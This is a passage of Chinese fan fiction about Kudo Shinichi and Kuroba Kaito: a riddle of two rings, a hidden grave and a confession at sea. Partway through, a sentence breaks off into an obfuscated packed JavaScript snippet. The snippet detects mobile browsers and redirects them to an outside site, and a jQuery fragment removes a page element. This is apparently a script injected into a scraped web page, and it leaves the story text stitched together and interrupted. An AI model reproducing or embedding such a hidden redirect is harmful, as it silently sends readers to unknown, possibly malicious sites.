或许是医者仁心吧。工藤新一从对方的最后一句话模糊听出一丝旧友般熟稔的关切,只有一声轻叹里散出的渺茫痕迹,却瓦解了侦探心底盘旋已久的焦躁。 他的头痛得非常厉害,肺腑沉浸于生机将绝般的痛楚,冰凉的药液从针口流入血管,半条手臂都透出冷意,因此医生掌心的温度对比起来显得犹为温暖,一点一点复苏了工藤新一指尖丧失已久的知觉。 工藤新一将逡巡四周的目光收了回来,垂下眼睫。 他为调查乌鸦所在的组织,一度追踪着对方部下深入其中一个据点,期间他摘掉了身上一切能够彰显工藤新一身份的东西。 而在他苏醒过来的此时,一枚银色戒指意味深长地圈住他无名指的指根,作为乌鸦身上最具标志性的信物,陷入皮肤的触感冰冷得如同恶魔吻过的印记,没有其他任何提示,但工藤新一确信这就是黑羽快斗为他奉上的犯罪预告。 工藤新一的肩头一重,是黑羽快斗把头靠了过来,毛茸茸的碎发扫过他的脖颈,一切自然得好像他一直就在他身边,躲在融融夜色里与他低语交谈着。 “那么……你找到答案了么?” 轻忽的声音几乎要被夜风吞没。 渐趋平静的海波一浪推着一浪,带着只搭载他们二人的救生筏漂流得距离人群越来越远。 怎么会不知道?工藤新一看向自己的掌心,皮肤下洇出的红润颜色健康而细腻。虽然冬天那一场重病要了他大半条命,但经那一看就是法外狂徒的私家医生用来路不明的三无药物压着疗养了月余,他难愈的旧伤居然奇异地好转了一些,大概也让黑羽快斗借机查明了APTX-4869对他的影响吧。 “得到你这个戒指后,我又去过一次你的墓园。”工藤新一说,“因为我记得第一次掀开墓碑的时候,它被放在一个戒指盒里。就算我后来烧得意识不清醒,也不应该只取走了戒指。于是我想到一个可能,或许……不止有一个。” 那个时候,有人救起了栽倒于风雪中的工藤新一。 把他送到安全的地方后,取出他始终攥在掌心的盒子,把里面的戒指推进了工藤新一的手指。 侦探总是追着罪犯留下的蛛丝马迹去寻根究底。就算他一开始发现黑羽快斗的墓碑被动过手脚,他会怀疑自己翻查过的坟墓后来又被人藏了东西吗?一个利用先入为主的心理完成的障眼法,非常适合寻宝游戏。 “我一开始误以为你将它带在身上,所以间隔了数月才想起来第二次造访,土地上杂草都生长起来了……”工藤新一不快地抱怨,黑羽快斗定力极佳,没有发出笑的声音,随后对方的声音忽然放轻了一些,“但回到墓地的盒子也是空的。” 黑羽快斗自然心知肚明他三番五次徘徊于期望与失望的心绪起伏,眉端沉淀着隔岸观火般的寂静。 因为不确定工藤新一会不会给出答案,不确定他会不会追到那么远,另一枚戒指始终如他无疾而终的妄念一样,是个半吊子的未完成品,但他知道凭借留在盒底夹层的提示,工藤新一找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703686|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到寄存地点也并非难事。 所以关键不在于工藤新一能否抵达那里,而在于他如何回答黑羽快斗的问题。 他的答案将会决定对世界冷眼旁观的黑羽快斗会不会再一次义无反顾地投身到命运的洪流里去—— “……我费了一番功夫找到一处相当古老的首饰工坊,那位店长说,他从不出售半成品,要我决定如何完成以后才能给我。” 没错,就因为这个原因,所以黑羽快斗当年只拿走了属于他的那一枚。少年听着连连点头,随后因为工藤新一冷漠吐槽:“真没用,堂堂怪盗居然连一枚戒指都带不走。”黑羽快斗整个人顿时呛了一下,露出哭笑不得的表情:“喂喂——” 要尊重老工匠的艺术家精神啊——他尴尬时就会想抬手抓头发,但这一次却被侦探早有预判般提前拦截,黑羽快斗为此莫名地呼吸一乱,原本要说的话语变得散乱无章。 “不过没有关系,我已经走到这里,答案自然早就昭然若揭。” 工藤新一露出一个笑容,那是侦探每一次抓住真相的时候胜券在握的笑容,光芒万丈得如同一个不败神话。 视线移到他的指上,这乍一眼看去只是枚素圈光面的简单戒指,触碰起来却绝不平整。将戒环藏在指缝的侧面轻轻拧转,就构成了莫比乌斯环的形状。工藤新一也知道,黑羽快斗在内侧铭刻的不是任何人的名字和单词,而是一个简单至极的问号。 好像在预示着,他所走的这条路无始无终,迷障丛生,是咫尺亦是无限。 “看见这个戒指的时候,我一直在思考这个问号的含义,你究竟想要传达给我什么,直到解开钥匙的谜题。” Mon inconnue,我的未知。 黑羽快斗微微一笑:“什么是你的未知?” “多此一问。”工藤新一也笑起来,有点刻薄又非常随性地判断说,“黑羽快斗,你有比那喀索斯还严重的水仙情结。” 什么是工藤新一的未知? 是永远能与他棋逢对手的黑羽快斗,也是与他站在镜子两端的自己。 原以为从来被埋藏心底,早已忘怀的话语又从记忆中翻涌出来,往昔历历在目。 侦探和怪盗是一样的,虽然看上去有天壤之别,但是追根溯源,都是在好奇心的驱使下去窥探别人心底秘密的无礼之徒。 他们实在太相似,年少时赌着一口气死也不肯回头,命运也摧折不了他们骨子里理想主义的傲气,就算看起来万劫不复的深渊都硬撑着跨越过来了,代价却是惨烈,伤己也伤人。一直到懵懂意识到周围人也在为了自己忍耐的痛苦而饱受折磨,才终于后知后觉,开始重新探索自己心底那些从未被听见过的声音。 去思考什么是他所坚持的,什么是他应纠正的,什么是他该放下的,什么是他错过会后悔的…… 工藤新一在心底自嘲,枉他还是侦探,原来也一度受限于灯下黑的困境,越是自己的事,反而越难以看清。但他终究还是幸运的,在某种牵绊的指引下,和同样提灯夜行的黑羽快斗走到了一起,让光源照亮了对方也照亮了自己。 他们注定相互吸引,就像无法逃离对方重力的行星,就像两滴相互靠近的水滴。 无论来路,无论去处。 再多重复无数次的相遇,都像恋人重逢般美丽。 “还有比‘我们’更吻合彼此心中关于mystery定义的答案吗?” 他轻轻吻了一下黑羽快斗的指根,唇瓣的温度仿佛透过滑到手指底端的冰冷金属,熨烫了紧贴皮肤的惊叹符号,一如此刻令怪盗心脏狂跳的情绪。 那另一枚戒指圈住了黑羽快斗的无名指,大概是沾上了海水的缘故,原本有些冰凉,但又由于经过工藤新一的触碰,沾染上些许温度,分明很浅淡,却好像能让他从其中感受到巨大的力量,透过他的指尖接触到黑羽快斗的那一瞬间,将最后一个谜题的答案传达了过来。 “我知道问号来源于拉丁语questio,人们为了方便书写,就将开头与结尾的字母纵向拼合,最后衍化成现代通用的书写形式,含义是疑问、问题。” 工藤新一在黑羽快斗的手掌心里画了一个问号,接着,又画出一个叹号。 “用同样的逻辑将惊叹号逆向解构,根据字形就能拆解成‘l’和‘o’两个字母,而‘我们’的代称‘we’也可以用读音拆解为‘v’和‘e’,抵达谜底的拼图就足够合而为一——” 不愧是名侦探,一如既往地擅长切中要害。 黑羽快斗听着他的声音,心里却久违地走了走神,眼睛望着他们交缠起来的手指,像是一眼望去,便直接穿透了闪电般疾走的时间。 让那些于他生命中交汇过的、非同凡响的经历和感情,全都流淌过他的心里,然后冰雪消融,万物悄无声息地焕然复苏。 17岁的黑羽快斗睁开眼,发现自己正身处墓园,面前是十年前埋葬了自己的一座墓碑。 未来的夜晚也有着与过去同样美丽的一轮月亮,冷清的墓园里只有他,和孤身一人来扫墓的工藤新一。 后来他在追索往昔记忆的途中爱上了工藤新一,却无法理解自己心中这仿佛无中生有又无法抵抗的情意。 那么,爱究竟是从何而来的一种感情? 作为人与人之间非常奇特的一种关系联结,从成为彼此命运中亿万分之一概率的过客作为开始,无数故事随之衍生,然后编织出无可取代的过去,从此以后你的爱就不由自主地被另一边掠夺过去,不同人分得不同的爱。 尽管命运势如洪水,为你带来应接不暇的初遇和故事,但爱又是一种非常不公平的关系,它天经地义般将你人生中的邂逅分出三六九等,有人一经相会就自然在你的心里扎根发芽。 哪怕转瞬之间一切散尽,彼此相遇的样子在空间维度中逐渐模糊,留下的故事也在时间长河里烟消云散。 隔世再见,依旧对你情有独钟。 后来,又发生过很多故事的后来,他们一起漂浮在大海上谈天说地无所不聊,黑羽快斗忽然凑近工藤新一,眼底闪烁着少年特有的明媚俏皮。 他轻轻地笑起来,然后极其温柔地明知故问:“名侦探,现在你——” 能不能再爱我一次?